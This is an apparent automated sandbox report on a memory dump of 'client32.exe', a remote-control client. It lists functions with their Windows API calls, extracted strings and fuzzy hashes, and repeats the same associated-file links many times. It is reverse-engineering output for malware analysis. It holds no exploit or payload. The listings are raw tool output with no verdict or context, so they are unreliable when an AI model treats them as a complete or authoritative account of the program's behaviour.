Opcode ID: ba3a97c916ab28f337fc545cafdf3d966e22a8156ced65e074ee0ba6a9a7b855
Instruction ID: a7fd37a067bb091250c1763d922fd72d2c7afa3a6e549ffd9321a47320cd30d9
Opcode Fuzzy Hash: ba3a97c916ab28f337fc545cafdf3d966e22a8156ced65e074ee0ba6a9a7b855
Instruction Fuzzy Hash: D631D975A01226AFEB11DFE5CCC5FBAB768EB5874CF840024F62587184E670A940C761

Function 111235D0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 96windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetVersionExA.KERNEL32(?,View,*NoHideFEP,00000000,00000000,00000001), ref: 1112362F
InterlockedExchange.KERNEL32(111F09B4,00000001), ref: 11123655
CreateWindowExA.USER32(00000000,button,11194244,50000000,FFFFEC78,00000000,00000014,0000000E,?,00000001,00000000,00000000), ref: 1112369B
SetWindowLongA.USER32(00000000,000000FC,11123550), ref: 111236BB
SetFocus.USER32(00000000), ref: 111236D2
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 111236EC
DestroyWindow.USER32(00000000), ref: 11123702
InterlockedExchange.KERNEL32(111F09B4,00000000), ref: 11123719

Strings

*NoHideFEP, xrefs: 111235FB
button, xrefs: 11123695
View, xrefs: 11123600

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ExchangeInterlockedLong$CreateDestroyFocusVersion__wcstoi64
String ID: *NoHideFEP$View$button
API String ID: 1610953178-1502386645
Opcode ID: bdef63e06481d9c0dc03333f194d18eebb477b9bb77329bd89e458592d6cd94a
Instruction ID: c38b7b7754d3323b213173b0c8c3b4f9dac41d230a1c05010704e98145613ebf
Opcode Fuzzy Hash: bdef63e06481d9c0dc03333f194d18eebb477b9bb77329bd89e458592d6cd94a
Instruction Fuzzy Hash: 4F31857061972AABF710DF75CD98B66F7A9FB48718F900128E529D3284FB70A644CB10

Function 1100D550 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 80processCOMMON

Download Yara Rule

APIs

Part of subcall function 110EDEB0: LocalAlloc.KERNEL32(00000040,00000014,?,1100D56F,?), ref: 110EDEC0
Part of subcall function 110EDEB0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,1100D56F,?), ref: 110EDED2
Part of subcall function 110EDEB0: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000,?,1100D56F,?), ref: 110EDEE4

CreateEventA.KERNEL32(?,00000000,00000000,00000000), ref: 1100D587
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1100D5A0
_strrchr.LIBCMT ref: 1100D5AF
GetCurrentProcessId.KERNEL32 ref: 1100D5BF
wsprintfA.USER32 ref: 1100D5E0
_memset.LIBCMT ref: 1100D5F1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,04000000,00000000,00000000,?,?), ref: 1100D629
CloseHandle.KERNEL32(?,00000000), ref: 1100D641
CloseHandle.KERNEL32(?), ref: 1100D64A

Strings

D, xrefs: 1100D61F
%sNSSilence.exe %u %u, xrefs: 1100D5DA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateDescriptorHandleProcessSecurity$AllocCurrentDaclEventFileInitializeLocalModuleName_memset_strrchrwsprintf
String ID: %sNSSilence.exe %u %u$D
API String ID: 1760462761-4146734959
Opcode ID: 556463406fd45f230dce5971ebf4bdbc680ec1c7ea4d85616804ce8ee19078f8
Instruction ID: 28a4ee404c217c6c44ddb94e78ca55d5cfefd79278ecf37e22d28a51988c4013
Opcode Fuzzy Hash: 556463406fd45f230dce5971ebf4bdbc680ec1c7ea4d85616804ce8ee19078f8
Instruction Fuzzy Hash: 78219675A51328ABEB24DBA0CC4AFDEB77CAB08704F104095F619A71C0DAB1BA44CF64

Function 110B7920 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 79libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B7946
GetProcAddress.KERNEL32(00000000), ref: 110B794D
GetCurrentProcessId.KERNEL32(00000000), ref: 110B7963
GetCurrentProcessId.KERNEL32 ref: 110B7981
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 110B798B
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 110B799E
GetTokenInformation.ADVAPI32(00000000,0000000C(TokenIntegrityLevel),111E6258,00000004,?), ref: 110B79BD
CloseHandle.KERNEL32(00000000), ref: 110B79E4
CloseHandle.KERNEL32(00000000), ref: 110B79EB

Strings

ProcessIdToSessionId, xrefs: 110B7935
kernel32.dll, xrefs: 110B793A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$Handle$CloseCurrentOpenToken$AddressInformationModuleProc
String ID: ProcessIdToSessionId$kernel32.dll
API String ID: 2536908267-3889420803
Opcode ID: 9ce2d9c11117e9125f749d9db0dd3fd4a1ffca137de9545352435600f6621f01
Instruction ID: 695a2acb687fdaf8883a4263dd52dcf391b9a11c2ad5aa445e7569b8d51d2e52
Opcode Fuzzy Hash: 9ce2d9c11117e9125f749d9db0dd3fd4a1ffca137de9545352435600f6621f01
Instruction Fuzzy Hash: 5721C839E04629A7EB11DBF5DC88F5EBBACEB84719F040165E914E3284DB74D900C750

Function 11137340 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,75730BD0,00000000), ref: 11137363
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 11137384
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 11137394
GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111373B1
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111373BD
_memset.LIBCMT ref: 111373D7

Strings

Terminal Server, xrefs: 11137401
VerifyVersionInfoA, xrefs: 111373B7
ntdll.dll, xrefs: 1113737F
KERNEL32.DLL, xrefs: 111373A8
VerSetConditionMask, xrefs: 1113738E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$Version_memset
String ID: KERNEL32.DLL$Terminal Server$VerSetConditionMask$VerifyVersionInfoA$ntdll.dll
API String ID: 1659045089-3162170060
Opcode ID: 2782e45080b00d7644363843fb4dac8f82773bfcd6b8b8724ba95a014df5fc97
Instruction ID: 0c0b10a14524f440857339b23279ac9494b8b75ce88d62c7832b422cfd240681
Opcode Fuzzy Hash: 2782e45080b00d7644363843fb4dac8f82773bfcd6b8b8724ba95a014df5fc97
Instruction Fuzzy Hash: CB216A70F10329ABF720AB71AD44F5AFFA99B8871AF000474E914A7189EA71B9048765

Function 11009930 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 252COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11009B15
_strtok.LIBCMT ref: 11009B53
_malloc.LIBCMT ref: 11009B6D

Strings

..\ctl32\AUDIO.CPP, xrefs: 11009B31, 11009B80, 11009C85
Send EV_CONFIGSET from %s@%d, xrefs: 11009C8A
Audio, xrefs: 11009A9C, 11009AB6, 11009AFC, 11009C6D
*extra_bytes, xrefs: 11009AF7, 11009C68
nbytes <= sizeof (extra_bytes), xrefs: 11009B36

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$_malloc
String ID: *extra_bytes$..\ctl32\AUDIO.CPP$Audio$Send EV_CONFIGSET from %s@%d$nbytes <= sizeof (extra_bytes)
API String ID: 665538724-3655815180
Opcode ID: 0558b598ecd220540cf28659b61802d1f99bc554e79b0dd51561b40af61ee09d
Instruction ID: 7c42a3c617dbeb8788080eb1c781ab60080519317ae9ccae606f49ba2c162057
Opcode Fuzzy Hash: 0558b598ecd220540cf28659b61802d1f99bc554e79b0dd51561b40af61ee09d
Instruction Fuzzy Hash: 49A15774E012299FEB61CF24CC40BDAB7F4AF49744F1480EAD99DA7241E771AA84CF91

Function 110390F0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 1103910C
IsWindowEnabled.USER32(00000000), ref: 11039113
_memset.LIBCMT ref: 11039131
GetDlgItemTextA.USER32(?,0000044D,?,00000080), ref: 11039183
GetDlgItemTextA.USER32(?,0000044F,00000000,00000080), ref: 110391EB
GetDlgItemTextA.USER32(?,000004BE,00000000,00000080), ref: 1103924E
GetDlgItemTextA.USER32(?,000017EC,00000000,00000080), ref: 110392B1
GetDlgItemTextA.USER32(?,0000048E,00000000,00000080), ref: 11039377
GetDlgItemTextA.USER32(?,0000048D,00000000,00000080), ref: 11039314

Part of subcall function 11142800: _strncpy.LIBCMT ref: 11142824

Part of subcall function 11142290: _strncpy.LIBCMT ref: 111422D2

Strings

, xrefs: 110393B1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$Text$_strncpy$EnabledWindow_memset
String ID:
API String ID: 3085755443-3916222277
Opcode ID: 3474633675772f1dfa7fa715227e202affa5940b04f40e4fcdf8bfab1e55feb6
Instruction ID: 27c08bceae7d385fa57d2e1d5dbc2d5db1b5a631922e4fecc43e69d3347e8bff
Opcode Fuzzy Hash: 3474633675772f1dfa7fa715227e202affa5940b04f40e4fcdf8bfab1e55feb6
Instruction Fuzzy Hash: 6D819F75A10706ABE724DB74CC85F9AB3F9BF84704F50C598E2499B181DF71FA448BA0

Function 1114D920 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 11074A00: InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 11074AE5
Part of subcall function 11074A00: InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 11074AEB
Part of subcall function 11074A00: InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 11074AF1
Part of subcall function 11074A00: InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 11074AFA
Part of subcall function 11074A00: InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 11074B00
Part of subcall function 11074A00: InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 11074B06

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1114DACC
__CxxThrowException@8.LIBCMT ref: 1114DAE1

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Strings

TracePipeSendUI, xrefs: 1114DA70
TraceSend, xrefs: 1114D9CB
TracePipe, xrefs: 1114DA0D
TracePipeRecvUI, xrefs: 1114DA91
TraceRecv, xrefs: 1114D9EC
_debug, xrefs: 1114D9D0, 1114D9F1, 1114DA12, 1114DA33, 1114DA54, 1114DA75, 1114DA96
TracePipeRecv, xrefs: 1114DA4F
TracePipeSend, xrefs: 1114DA2E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CritiusernitializeSection$Exception@8Throw__wcstoi64_malloc_memsetstd::exception::exceptionwsprintf
String ID: TracePipe$TracePipeRecv$TracePipeRecvUI$TracePipeSend$TracePipeSendUI$TraceRecv$TraceSend$_debug
API String ID: 2906687742-2018363409
Opcode ID: c083690a5e1e9880a6ab3f9e2642703f398a8d4a618d0d436e8e73249eeeeae6
Instruction ID: f2cf1ee30c1a9215aec081895272530a5bdc1272587a17d20c2ddc6b3b073753
Opcode Fuzzy Hash: c083690a5e1e9880a6ab3f9e2642703f398a8d4a618d0d436e8e73249eeeeae6
Instruction Fuzzy Hash: 1F51C5B5B04649AFDB50DF798C80BAFFAE8EB58604F61482EE556D3740D730A9018762

Function 110FF6C0 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 155threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetLastError.KERNEL32(Client,00000000,00000001,00000000,00000000,1105A92A,00000001,562258), ref: 110FF7C6
GetCurrentThreadId.KERNEL32 ref: 110FF7FC
GetCurrentThreadId.KERNEL32 ref: 110FF80A

Strings

*Log_%d, xrefs: 110FF6EC
Client, xrefs: 110FF709, 110FF794
nstrings <= 4, xrefs: 110FF7DE
PLATFORM.CPP, xrefs: 110FF7D9
LogWhileConnected, xrefs: 110FF78F
Event. %s, xrefs: 110FF826

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentThread$ErrorLast__wcstoi64
String ID: *Log_%d$Client$Event. %s$LogWhileConnected$PLATFORM.CPP$nstrings <= 4
API String ID: 2021241812-3565238984
Opcode ID: 41b2695d0c332991a5e502e9703662785986028cd3ea02404f3c4e4ca1a214cd
Instruction ID: 191e3ee3254c54436d3d5a8a020f66c0c65dd820e8d0d15556bcb108cb59b559
Opcode Fuzzy Hash: 41b2695d0c332991a5e502e9703662785986028cd3ea02404f3c4e4ca1a214cd
Instruction Fuzzy Hash: A451D876E00216ABEB14DF65CC82FAEB7A5EF84718F14046DF915D7280E674A900C7A2

Function 11065580 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 110655A5
_memset.LIBCMT ref: 110655C9
_memset.LIBCMT ref: 1106561F
_strncpy.LIBCMT ref: 11065673
_strncpy.LIBCMT ref: 110656A9
_strncat.LIBCMT ref: 110656D7
_strncat.LIBCMT ref: 110656FD

Strings

Drivers, xrefs: 1106563A
Printer, xrefs: 110655E4
PrintCapture, xrefs: 110655E9, 1106563F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset_strncat_strncpy$_calloc
String ID: Drivers$PrintCapture$Printer
API String ID: 3453565913-1525524346
Opcode ID: 7cd836b0e17dd7cb63b2ab5a14b362ebc1c395684dbd5d2e1ffba9791d023d94
Instruction ID: 172f0c2617bfc64fa6342e132d6ab688b54b8d91c339fc0d2da86cc62e1bb8b7
Opcode Fuzzy Hash: 7cd836b0e17dd7cb63b2ab5a14b362ebc1c395684dbd5d2e1ffba9791d023d94
Instruction Fuzzy Hash: 96412B75B002156FD711CB64EC14FEABBED9F85348F0440D4F9489B282E6B2AE14C791

Function 1105D900 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 126sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 1105D96E
CloseHandle.KERNEL32(?), ref: 1105D9B8
WaitForInputIdle.USER32(?,00001388), ref: 1105D9CD
Sleep.KERNEL32(00000064), ref: 1105DA01

Strings

Cobrowse WaitForInputIdle ret %x, xrefs: 1105D9D4
NSMCobrProxy, xrefs: 1105D9E0
NSMCobrMain, xrefs: 1105DA14
client32.exe /cobrowse, xrefs: 1105D95C
Cobrowse FindWindow ret %x, xrefs: 1105D9EF
%s%s, xrefs: 1105D968

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
